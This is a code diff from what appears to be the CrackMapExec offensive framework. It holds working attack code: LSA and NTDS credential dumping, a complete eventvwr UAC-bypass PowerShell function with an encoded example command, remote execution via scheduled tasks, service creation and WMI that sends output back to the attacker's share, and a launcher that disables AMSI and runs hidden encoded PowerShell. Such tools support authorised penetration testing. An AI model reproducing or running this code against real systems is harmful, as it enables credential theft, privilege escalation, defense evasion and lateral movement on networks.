self.__LSASecrets.dumpCachedHashes()
|
self.__bootKey,
|
||||||
|
self.__logger,
|
||||||
|
self.__remoteOps,
|
||||||
|
isRemote=self.__isRemote)
|
||||||
|
|
||||||
|
lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes())
|
||||||
self.__LSASecrets.exportCached(self.__outputFileName)
|
self.__LSASecrets.exportCached(self.__outputFileName)
|
||||||
self.__LSASecrets.dumpSecrets()
|
lsa_secrets.extend(self.__LSASecrets.dumpSecrets())
|
||||||
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
|
return lsa_secrets
|
||||||
|
|
||||||
def NTDS_dump(self, method, pwdLastSet, history):
|
def NTDS_dump(self, method, pwdLastSet, history):
|
||||||
self.__pwdLastSet = pwdLastSet
|
self.__pwdLastSet = pwdLastSet
|
||||||
|
@ -158,10 +173,29 @@ class DumpSecrets:
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
logging.info('Cleaning up... ')
|
logging.info('Cleaning up... ')
|
||||||
if self.__remoteOps:
|
if self.__remoteOps:
|
||||||
|
try:
|
||||||
self.__remoteOps.finish()
|
self.__remoteOps.finish()
|
||||||
|
except:
|
||||||
|
logging.debug('Error calling remoteOps.finish(), traceback:')
|
||||||
|
logging.debug(traceback.format_exc())
|
||||||
|
|
||||||
if self.__SAMHashes:
|
if self.__SAMHashes:
|
||||||
|
try:
|
||||||
self.__SAMHashes.finish()
|
self.__SAMHashes.finish()
|
||||||
|
except:
|
||||||
|
logging.debug('Error calling SAMHashes.finish(), traceback:')
|
||||||
|
logging.debug(traceback.format_exc())
|
||||||
|
|
||||||
if self.__LSASecrets:
|
if self.__LSASecrets:
|
||||||
|
try:
|
||||||
self.__LSASecrets.finish()
|
self.__LSASecrets.finish()
|
||||||
|
except:
|
||||||
|
logging.debug('Error calling LSASecrets.finish(), traceback:')
|
||||||
|
logging.debug(traceback.format_exc())
|
||||||
|
|
||||||
if self.__NTDSHashes:
|
if self.__NTDSHashes:
|
||||||
|
try:
|
||||||
self.__NTDSHashes.finish()
|
self.__NTDSHashes.finish()
|
||||||
|
except:
|
||||||
|
logging.debug('Error calling NTDSHashes.finish(), traceback:')
|
||||||
|
logging.debug(traceback.format_exc())
|
|
@ -0,0 +1,82 @@
|
||||||
|
function Invoke-EventVwrBypass {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Bypasses UAC by performing an image hijack on the .msc file extension
|
||||||
|
Expected to work on Win7, 8.1 and Win10
|
||||||
|
|
||||||
|
Only tested on Windows 7 and Windows 10
|
||||||
|
|
||||||
|
Author: Matt Nelson (@enigma0x3)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
Optional Dependencies: None
|
||||||
|
|
||||||
|
.PARAMETER Command
|
||||||
|
|
||||||
|
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
|
||||||
|
|
||||||
|
This will write out "Is Elevated: True" to C:\UACBypassTest.
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
|
||||||
|
Param (
|
||||||
|
[Parameter(Mandatory = $True)]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$Command,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$Force
|
||||||
|
)
|
||||||
|
|
||||||
|
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
|
||||||
|
#Add in the new registry entries to hijack the msc file
|
||||||
|
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
|
||||||
|
New-Item $mscCommandPath -Force |
|
||||||
|
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
|
||||||
|
}else{
|
||||||
|
Write-Verbose "Key already exists, consider using -Force"
|
||||||
|
exit
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Test-Path $mscCommandPath) {
|
||||||
|
Write-Verbose "Created registry entries to hijack the msc extension"
|
||||||
|
}else{
|
||||||
|
Write-Warning "Failed to create registry key, exiting"
|
||||||
|
exit
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
|
||||||
|
|
||||||
|
#Start Event Viewer
|
||||||
|
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
|
||||||
|
$Process = Start-Process -FilePath $EventvwrPath -PassThru
|
||||||
|
Write-Verbose "Started eventvwr.exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
#Sleep 5 seconds
|
||||||
|
Write-Verbose "Sleeping 5 seconds to trigger payload"
|
||||||
|
if (-not $PSBoundParameters['WhatIf']) {
|
||||||
|
Start-Sleep -Seconds 5
|
||||||
|
}
|
||||||
|
|
||||||
|
$mscfilePath = "HKCU:\Software\Classes\mscfile"
|
||||||
|
|
||||||
|
if (Test-Path $mscfilePath) {
|
||||||
|
#Remove the registry entry
|
||||||
|
Remove-Item $mscfilePath -Recurse -Force
|
||||||
|
Write-Verbose "Removed registry entries"
|
||||||
|
}
|
||||||
|
|
||||||
|
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
|
||||||
|
Stop-Process -Id $Process.Id
|
||||||
|
Write-Verbose "Killed running eventvwr process"
|
||||||
|
}
|
||||||
|
}
|
|
@ -38,3 +38,5 @@ class ShareEnum:
|
||||||
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
|
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
|
||||||
else:
|
else:
|
||||||
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
|
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
|
||||||
|
|
||||||
|
return self.permissions
|
||||||
|
|
|
@ -1,14 +1,17 @@
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
from impacket.dcerpc.v5 import tsch, transport
|
from impacket.dcerpc.v5 import tsch, transport
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from cme.helpers import gen_random_string
|
from cme.helpers import gen_random_string
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
|
|
||||||
class TSCH_EXEC:
|
class TSCH_EXEC:
|
||||||
def __init__(self, target, username, password, domain, hashes=None):
|
def __init__(self, target, share_name, username, password, domain, hashes=None):
|
||||||
self.__target = target
|
self.__target = target
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
|
self.__share_name = share_name
|
||||||
self.__lmhash = ''
|
self.__lmhash = ''
|
||||||
self.__nthash = ''
|
self.__nthash = ''
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
|
@ -36,21 +39,22 @@ class TSCH_EXEC:
|
||||||
|
|
||||||
def execute(self, command, output=False):
|
def execute(self, command, output=False):
|
||||||
self.__retOutput = output
|
self.__retOutput = output
|
||||||
self.doStuff(command)
|
self.execute_handler(command)
|
||||||
return self.__outputBuffer
|
return self.__outputBuffer
|
||||||
|
|
||||||
def doStuff(self, command):
|
def output_callback(self, data):
|
||||||
|
|
||||||
def output_callback(data):
|
|
||||||
self.__outputBuffer = data
|
self.__outputBuffer = data
|
||||||
|
|
||||||
dce = self.__rpctransport.get_dce_rpc()
|
def execute_handler(self, data):
|
||||||
|
if self.__retOutput:
|
||||||
|
try:
|
||||||
|
self.doStuff(data, fileless=True)
|
||||||
|
except:
|
||||||
|
self.doStuff(data)
|
||||||
|
else:
|
||||||
|
self.doStuff(data)
|
||||||
|
|
||||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
def gen_xml(self, command, tmpFileName, fileless=False):
|
||||||
dce.connect()
|
|
||||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
|
||||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
|
||||||
tmpName = gen_random_string(8)
|
|
||||||
|
|
||||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||||
|
@ -92,54 +96,79 @@ class TSCH_EXEC:
|
||||||
<Command>cmd.exe</Command>
|
<Command>cmd.exe</Command>
|
||||||
"""
|
"""
|
||||||
if self.__retOutput:
|
if self.__retOutput:
|
||||||
tmpFileName = tmpName + '.tmp'
|
if fileless:
|
||||||
xml+= """ <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>
|
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||||
</Exec>
|
argument_xml = " <Arguments>/C {} > \\\\{}\\{}\\{} 2>&1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
|
||||||
</Actions>
|
else:
|
||||||
</Task>
|
argument_xml = " <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>".format(command, tmpFileName)
|
||||||
""".format(command, tmpFileName)
|
|
||||||
|
|
||||||
elif self.__retOutput is False:
|
elif self.__retOutput is False:
|
||||||
xml+= """ <Arguments>/C {}</Arguments>
|
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
|
||||||
|
|
||||||
|
logging.debug('Generated argument XML: ' + argument_xml)
|
||||||
|
xml += argument_xml
|
||||||
|
|
||||||
|
xml += """
|
||||||
</Exec>
|
</Exec>
|
||||||
</Actions>
|
</Actions>
|
||||||
</Task>
|
</Task>
|
||||||
""".format(command)
|
"""
|
||||||
|
return xml
|
||||||
|
|
||||||
|
def doStuff(self, command, fileless=False):
|
||||||
|
|
||||||
|
dce = self.__rpctransport.get_dce_rpc()
|
||||||
|
|
||||||
|
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||||
|
dce.connect()
|
||||||
|
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||||
|
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||||
|
tmpName = gen_random_string(8)
|
||||||
|
tmpFileName = tmpName + '.tmp'
|
||||||
|
|
||||||
|
xml = self.gen_xml(command, tmpFileName, fileless)
|
||||||
|
|
||||||
#logging.info("Task XML: {}".format(xml))
|
#logging.info("Task XML: {}".format(xml))
|
||||||
taskCreated = False
|
taskCreated = False
|
||||||
#logging.info('Creating task \\%s' % tmpName)
|
logging.info('Creating task \\%s' % tmpName)
|
||||||
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||||
taskCreated = True
|
taskCreated = True
|
||||||
|
|
||||||
#logging.info('Running task \\%s' % tmpName)
|
logging.info('Running task \\%s' % tmpName)
|
||||||
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
||||||
|
|
||||||
done = False
|
done = False
|
||||||
while not done:
|
while not done:
|
||||||
#logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||||
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
|
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
|
||||||
if resp['pLastRuntime']['wYear'] != 0:
|
if resp['pLastRuntime']['wYear'] != 0:
|
||||||
done = True
|
done = True
|
||||||
else:
|
else:
|
||||||
sleep(2)
|
sleep(2)
|
||||||
|
|
||||||
#logging.info('Deleting task \\%s' % tmpName)
|
logging.info('Deleting task \\%s' % tmpName)
|
||||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||||
taskCreated = False
|
taskCreated = False
|
||||||
|
|
||||||
if taskCreated is True:
|
if taskCreated is True:
|
||||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||||
|
|
||||||
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
|
|
||||||
#self.__logger.success('Executed command via ATEXEC')
|
|
||||||
|
|
||||||
if self.__retOutput:
|
if self.__retOutput:
|
||||||
|
if fileless:
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
|
||||||
|
self.output_callback(output.read())
|
||||||
|
break
|
||||||
|
except IOError:
|
||||||
|
sleep(2)
|
||||||
|
else:
|
||||||
|
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||||
smbConnection = self.__rpctransport.get_smb_connection()
|
smbConnection = self.__rpctransport.get_smb_connection()
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if str(e).find('SHARING') > 0:
|
if str(e).find('SHARING') > 0:
|
||||||
|
@ -150,8 +179,5 @@ class TSCH_EXEC:
|
||||||
raise
|
raise
|
||||||
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||||
else:
|
|
||||||
pass
|
|
||||||
#logging.info('Output retrieval disabled')
|
|
||||||
|
|
||||||
dce.disconnect()
|
dce.disconnect()
|
|
@ -1,4 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
|
import os
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
from impacket.dcerpc.v5 import transport, scmr
|
from impacket.dcerpc.v5 import transport, scmr
|
||||||
from impacket.smbconnection import *
|
from impacket.smbconnection import *
|
||||||
|
@ -6,8 +7,9 @@ from cme.helpers import gen_random_string
|
||||||
|
|
||||||
class SMBEXEC:
|
class SMBEXEC:
|
||||||
|
|
||||||
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
|
def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
|
||||||
self.__host = host
|
self.__host = host
|
||||||
|
self.__share_name = share_name
|
||||||
self.__port = port
|
self.__port = port
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
|
@ -59,52 +61,33 @@ class SMBEXEC:
|
||||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||||
self.__scHandle = resp['lpScHandle']
|
self.__scHandle = resp['lpScHandle']
|
||||||
self.transferClient = self.__rpctransport.get_smb_connection()
|
|
||||||
|
|
||||||
def execute(self, command, output=False):
|
def execute(self, command, output=False):
|
||||||
self.__retOutput = output
|
self.__retOutput = output
|
||||||
if self.__retOutput:
|
self.execute_fileless(command)
|
||||||
self.cd('')
|
|
||||||
|
|
||||||
self.execute_remote(command)
|
|
||||||
self.finish()
|
self.finish()
|
||||||
return self.__outputBuffer
|
return self.__outputBuffer
|
||||||
|
|
||||||
def cd(self, s):
|
def output_callback(self, data):
|
||||||
ret_state = self.__retOutput
|
|
||||||
self.__retOutput = False
|
|
||||||
self.execute_remote('cd ' )
|
|
||||||
self.__retOutput = ret_state
|
|
||||||
|
|
||||||
def get_output(self):
|
|
||||||
|
|
||||||
if self.__retOutput is False:
|
|
||||||
self.__outputBuffer = ''
|
|
||||||
return
|
|
||||||
|
|
||||||
def output_callback(data):
|
|
||||||
self.__outputBuffer += data
|
self.__outputBuffer += data
|
||||||
|
|
||||||
while True:
|
def execute_fileless(self, data):
|
||||||
try:
|
self.__output = gen_random_string(6)
|
||||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
self.__batchFile = gen_random_string(6) + '.bat'
|
||||||
self.transferClient.deleteFile(self.__share, self.__output)
|
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||||
break
|
|
||||||
except Exception:
|
|
||||||
sleep(2)
|
|
||||||
|
|
||||||
def execute_remote(self, data):
|
|
||||||
self.__output = '\\Windows\\Temp\\' + gen_random_string()
|
|
||||||
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
|
|
||||||
|
|
||||||
if self.__retOutput:
|
if self.__retOutput:
|
||||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
|
||||||
else:
|
else:
|
||||||
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
command = self.__shell + data
|
||||||
|
|
||||||
command += ' & ' + 'del ' + self.__batchFile
|
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
|
||||||
|
batch_file.write(command)
|
||||||
|
|
||||||
logging.debug('Executing command: ' + command)
|
logging.debug('Hosting batch file with command: ' + command)
|
||||||
|
|
||||||
|
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
|
||||||
|
logging.debug('Command to execute: ' + command)
|
||||||
|
|
||||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||||
service = resp['lpServiceHandle']
|
service = resp['lpServiceHandle']
|
||||||
|
@ -115,7 +98,18 @@ class SMBEXEC:
|
||||||
pass
|
pass
|
||||||
scmr.hRDeleteService(self.__scmr, service)
|
scmr.hRDeleteService(self.__scmr, service)
|
||||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||||
self.get_output()
|
self.get_output_fileless()
|
||||||
|
|
||||||
|
def get_output_fileless(self):
|
||||||
|
if not self.__retOutput: return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
|
||||||
|
self.output_callback(output.read())
|
||||||
|
break
|
||||||
|
except IOError:
|
||||||
|
sleep(2)
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
# Just in case the service is still created
|
# Just in case the service is still created
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import ntpath, logging
|
import ntpath, logging
|
||||||
|
import os
|
||||||
|
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
from cme.helpers import gen_random_string
|
from cme.helpers import gen_random_string
|
||||||
|
@ -7,7 +8,7 @@ from impacket.dcerpc.v5.dcom import wmi
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
|
||||||
class WMIEXEC:
|
class WMIEXEC:
|
||||||
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
|
def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None):
|
||||||
self.__target = target
|
self.__target = target
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
|
@ -18,6 +19,7 @@ class WMIEXEC:
|
||||||
self.__smbconnection = smbconnection
|
self.__smbconnection = smbconnection
|
||||||
self.__output = None
|
self.__output = None
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
|
self.__share_name = share_name
|
||||||
self.__shell = 'cmd.exe /Q /c '
|
self.__shell = 'cmd.exe /Q /c '
|
||||||
self.__pwd = 'C:\\'
|
self.__pwd = 'C:\\'
|
||||||
self.__aesKey = None
|
self.__aesKey = None
|
||||||
|
@ -46,9 +48,8 @@ class WMIEXEC:
|
||||||
self.__retOutput = output
|
self.__retOutput = output
|
||||||
if self.__retOutput:
|
if self.__retOutput:
|
||||||
self.__smbconnection.setTimeout(100000)
|
self.__smbconnection.setTimeout(100000)
|
||||||
self.cd('\\')
|
|
||||||
|
|
||||||
self.execute_remote(command)
|
self.execute_handler(command)
|
||||||
self.__dcom.disconnect()
|
self.__dcom.disconnect()
|
||||||
return self.__outputBuffer
|
return self.__outputBuffer
|
||||||
|
|
||||||
|
@ -63,6 +64,19 @@ class WMIEXEC:
|
||||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
|
|
||||||
|
def output_callback(self, data):
|
||||||
|
self.__outputBuffer += data
|
||||||
|
|
||||||
|
def execute_handler(self, data):
|
||||||
|
if self.__retOutput:
|
||||||
|
try:
|
||||||
|
self.execute_fileless(data)
|
||||||
|
except:
|
||||||
|
self.cd('\\')
|
||||||
|
self.execute_remote(data)
|
||||||
|
else:
|
||||||
|
self.execute_remote(data)
|
||||||
|
|
||||||
def execute_remote(self, data):
|
def execute_remote(self, data):
|
||||||
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
|
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
|
||||||
|
|
||||||
|
@ -72,20 +86,35 @@ class WMIEXEC:
|
||||||
|
|
||||||
logging.debug('Executing command: ' + command)
|
logging.debug('Executing command: ' + command)
|
||||||
self.__win32Process.Create(command, self.__pwd, None)
|
self.__win32Process.Create(command, self.__pwd, None)
|
||||||
self.get_output()
|
self.get_output_remote()
|
||||||
|
|
||||||
def get_output(self):
|
def execute_fileless(self, data):
|
||||||
|
self.__output = gen_random_string(6)
|
||||||
|
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
|
||||||
|
|
||||||
|
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
|
||||||
|
|
||||||
|
logging.debug('Executing command: ' + command)
|
||||||
|
self.__win32Process.Create(command, self.__pwd, None)
|
||||||
|
self.get_output_fileless()
|
||||||
|
|
||||||
|
def get_output_fileless(self):
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
|
||||||
|
self.output_callback(output.read())
|
||||||
|
break
|
||||||
|
except IOError:
|
||||||
|
sleep(2)
|
||||||
|
|
||||||
|
def get_output_remote(self):
|
||||||
if self.__retOutput is False:
|
if self.__retOutput is False:
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
return
|
return
|
||||||
|
|
||||||
def output_callback(data):
|
|
||||||
self.__outputBuffer += data
|
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
self.__smbconnection.getFile(self.__share, self.__output, output_callback)
|
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||||
|
|
|
@ -6,12 +6,16 @@ from subprocess import check_output, PIPE
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
|
||||||
CME_PATH = os.path.expanduser('~/.cme')
|
CME_PATH = os.path.expanduser('~/.cme')
|
||||||
|
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
|
||||||
DB_PATH = os.path.join(CME_PATH, 'cme.db')
|
DB_PATH = os.path.join(CME_PATH, 'cme.db')
|
||||||
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
|
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
|
||||||
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
|
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
|
||||||
|
|
||||||
def first_run_setup(logger):
|
def first_run_setup(logger):
|
||||||
|
|
||||||
|
if not os.path.exists(TMP_PATH):
|
||||||
|
os.mkdir(TMP_PATH)
|
||||||
|
|
||||||
if not os.path.exists(CME_PATH):
|
if not os.path.exists(CME_PATH):
|
||||||
logger.info('First time use detected')
|
logger.info('First time use detected')
|
||||||
logger.info('Creating home directory structure')
|
logger.info('Creating home directory structure')
|
||||||
|
|
|
@ -25,25 +25,18 @@ def write_log(data, log_name):
|
||||||
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
|
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
|
||||||
mimikatz_output.write(data)
|
mimikatz_output.write(data)
|
||||||
|
|
||||||
def obfs_ps_script(script, function_name=None):
|
def obfs_ps_script(script):
|
||||||
"""
|
"""
|
||||||
Strip block comments, line comments, empty lines, verbose statements,
|
Strip block comments, line comments, empty lines, verbose statements,
|
||||||
and debug statements from a PowerShell source file.
|
and debug statements from a PowerShell source file.
|
||||||
|
|
||||||
If the function_name paramater is passed, replace the main powershell function name with it
|
|
||||||
"""
|
"""
|
||||||
if function_name:
|
|
||||||
function_line = script.split('\n', 1)[0]
|
|
||||||
if function_line.find('function') != -1:
|
|
||||||
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
|
|
||||||
|
|
||||||
# strip block comments
|
# strip block comments
|
||||||
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
|
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
|
||||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||||
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||||
return strippedCode
|
return strippedCode
|
||||||
|
|
||||||
def create_ps_command(ps_command, force_ps32=False):
|
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
|
||||||
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
try{{
|
try{{
|
||||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
||||||
|
@ -69,9 +62,15 @@ else
|
||||||
|
|
||||||
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
|
||||||
|
if nothidden is True:
|
||||||
|
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||||
|
else:
|
||||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
